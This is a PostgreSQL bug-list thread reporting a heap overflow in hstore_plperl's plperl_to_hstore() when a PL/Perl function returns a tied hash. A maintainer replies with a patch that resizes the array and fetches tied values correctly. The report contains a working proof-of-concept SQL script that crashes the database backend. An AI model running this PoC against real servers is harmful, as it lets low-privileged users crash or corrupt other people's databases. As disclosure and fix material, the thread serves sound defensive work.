agora inbox for pgsql-bugs@postgresql.org
help / color / mirror / Atom feedBUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
2+ messages / 2 participants
[nested] [flat]
* BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
@ 2026-08-03 08:22 PG Bug reporting form <noreply@postgresql.org>
2026-08-03 12:55 ` Re: BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash Aleksander Alekseev <aleksander@tigerdata.com>
0 siblings, 1 reply; 2+ messages in thread
From: PG Bug reporting form @ 2026-08-03 08:22 UTC (permalink / raw)
To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com
The following bug has been logged on the website:
Bug reference: 19604
Logged by: Yuelin Wang
Email address: 1217816127@qq.com
PostgreSQL version: 19beta2
Operating system: Linux (Ubuntu 24.04, x86_64)
Description:
### Summary
In `contrib/hstore_plperl/hstore_plperl.c`, `plperl_to_hstore()` sizes its
`Pairs` array from `hv_iterinit()`. For tied Perl hashes, that count can be
small while `hv_iternext()` yields many keys. Trusted `plperl` code can
return such a hash and write far past the allocated array during hstore
conversion.
### PoC
SQL script:
```sql
CREATE EXTENSION IF NOT EXISTS hstore;
CREATE EXTENSION IF NOT EXISTS plperl;
CREATE EXTENSION IF NOT EXISTS hstore_plperl;
CREATE OR REPLACE FUNCTION vuln_hstore_boom() RETURNS hstore
LANGUAGE plperl
TRANSFORM FOR TYPE hstore
AS $$
package VulnEvil;
sub TIEHASH { bless { n=>0, max=>100000 }, shift }
sub FIRSTKEY { $_[0]{n}=0; "k0" }
sub NEXTKEY { my $s=shift; $s->{n}++; $s->{n}>=$s->{max} ? undef :
"k".$s->{n} }
sub FETCH { "v" }
sub EXISTS { 1 }
package main;
tie my %h, 'VulnEvil';
return \%h;
$$;
SELECT vuln_hstore_boom();
```
### Result
The backend crashes during hstore conversion:
```text
AddressSanitizer: SEGV
plperl_to_hstore
plperl_sv_to_datum
plperl_func_handler
server closed the connection unexpectedly
```
^ permalink raw reply [nested|flat] 2+ messages in thread
* Re: BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash
2026-08-03 08:22 BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash PG Bug reporting form <noreply@postgresql.org>
@ 2026-08-03 12:55 ` Aleksander Alekseev <aleksander@tigerdata.com>
0 siblings, 0 replies; 2+ messages in thread
From: Aleksander Alekseev @ 2026-08-03 12:55 UTC (permalink / raw)
To: pgsql-bugs@lists.postgresql.org; +Cc: 1217816127@qq.com
Hi,
Thanks for the report.
> ### Result
>
> The backend crashes during hstore conversion:
>
> ```text
> AddressSanitizer: SEGV
> plperl_to_hstore
> plperl_sv_to_datum
> plperl_func_handler
> server closed the connection unexpectedly
> ```
Yes, that's quite serious. I propose the attached patch.
--
Best regards,
Aleksander Alekseev
Attachments:
[text/x-patch] v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patch (3.6K, ../../CAJ7c6TMnbYibWGek0EFWEAZEG91VLOAy5dB0SePHrhqgJ8-y+A@mail.gmail.com/2-v1-0001-hstore_plperl-Fix-crash-when-transforming-a-tied-.patch)
download | inline diff:
From 97d0d494468e8082370c33cd1fddfc9058e8f88d Mon Sep 17 00:00:00 2001
From: Aleksander Alekseev <aleksander@tigerdata.com>
Date: Mon, 3 Aug 2026 15:30:38 +0300
Subject: [PATCH v1] hstore_plperl: Fix crash when transforming a tied Perl
hash to hstore
plperl_to_hstore() sized its Pairs array from hv_iterinit(), whose
result is only meaningful for hashes without tie magic, and then read
the values with HeVAL(), which hv_iternext() leaves unset for a tied
hash. Trusted plperl code can return such a hash, so any user allowed
to create a plperl function could write past the end of the array and
dereference a garbage value pointer, crashing the backend.
Bug: #19604
Reported-by: Yuelin Wang <1217816127@qq.com>
Author: Aleksander Alekseev <aleksander@tigerdata.com>
Discussion: https://postgr.es/m/19604-2471ca9f781fa9e0@postgresql.org
---
contrib/hstore_plperl/hstore_plperl.c | 66 +++++++++++++++++++--------
1 file changed, 48 insertions(+), 18 deletions(-)
diff --git a/contrib/hstore_plperl/hstore_plperl.c b/contrib/hstore_plperl/hstore_plperl.c
index 336ead65a18..7cb6d77c1f6 100644
--- a/contrib/hstore_plperl/hstore_plperl.c
+++ b/contrib/hstore_plperl/hstore_plperl.c
@@ -105,8 +105,8 @@ plperl_to_hstore(PG_FUNCTION_ARGS)
HV *hv;
HE *he;
int32 buflen;
- int32 i;
int32 pcount;
+ int32 palloced;
HStore *out;
Pairs *pairs;
@@ -129,34 +129,64 @@ plperl_to_hstore(PG_FUNCTION_ARGS)
errmsg("cannot transform non-hash Perl value to hstore")));
hv = (HV *) in;
- pcount = hv_iterinit(hv);
-
- pairs = palloc_array(Pairs, pcount);
-
- i = 0;
+ /*
+ * The result of hv_iterinit() is only reliable for hashes without tie
+ * magic; a tied hash can yield any number of keys, quite independently of
+ * what this reports. So treat it as no more than an initial size
+ * estimate and enlarge the array as needed.
+ */
+ palloced = hv_iterinit(hv);
+ if (palloced < 1)
+ palloced = 1;
+ pairs = palloc_array(Pairs, palloced);
+
+ pcount = 0;
while ((he = hv_iternext(hv)))
{
- char *key = sv2cstr(HeSVKEY_force(he));
- SV *value = HeVAL(he);
+ char *key;
+ SV *value;
+
+ /*
+ * A tied hash's iterator need never report end-of-hash, so allow a
+ * way to break out of this loop.
+ */
+ CHECK_FOR_INTERRUPTS();
+
+ if (pcount >= palloced)
+ {
+ palloced *= 2;
+ pairs = repalloc_array(pairs, Pairs, palloced);
+ }
+
+ key = sv2cstr(HeSVKEY_force(he));
+
+ /*
+ * hv_iternext() does not fill in the value for a tied hash, so we
+ * must use hv_iterval() to get at it. That may hand back an SV
+ * carrying get magic (that is, the tie's FETCH method hasn't run
+ * yet), so force the value to be materialized before inspecting it.
+ */
+ value = hv_iterval(hv, he);
+ SvGETMAGIC(value);
- pairs[i].key = pstrdup(key);
- pairs[i].keylen = hstoreCheckKeyLen(strlen(pairs[i].key));
- pairs[i].needfree = true;
+ pairs[pcount].key = pstrdup(key);
+ pairs[pcount].keylen = hstoreCheckKeyLen(strlen(pairs[pcount].key));
+ pairs[pcount].needfree = true;
if (!SvOK(value))
{
- pairs[i].val = NULL;
- pairs[i].vallen = 0;
- pairs[i].isnull = true;
+ pairs[pcount].val = NULL;
+ pairs[pcount].vallen = 0;
+ pairs[pcount].isnull = true;
}
else
{
- pairs[i].val = pstrdup(sv2cstr(value));
- pairs[i].vallen = hstoreCheckValLen(strlen(pairs[i].val));
- pairs[i].isnull = false;
+ pairs[pcount].val = pstrdup(sv2cstr(value));
+ pairs[pcount].vallen = hstoreCheckValLen(strlen(pairs[pcount].val));
+ pairs[pcount].isnull = false;
}
- i++;
+ pcount++;
}
pcount = hstoreUniquePairs(pairs, pcount, &buflen);
--
2.43.0
^ permalink raw reply [nested|flat] 2+ messages in thread
end of thread, other threads:[~2026-08-03 12:55 UTC | newest]
Thread overview: 2+ messages (download: mbox mbox.gz follow: Atom feed)
-- links below jump to the message on this page --
2026-08-03 08:22 BUG #19604: Bug 9: `plperl_to_hstore` heap overflow with a tied Perl hash PG Bug reporting form <noreply@postgresql.org>
2026-08-03 12:55 ` Aleksander Alekseev <aleksander@tigerdata.com>
This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox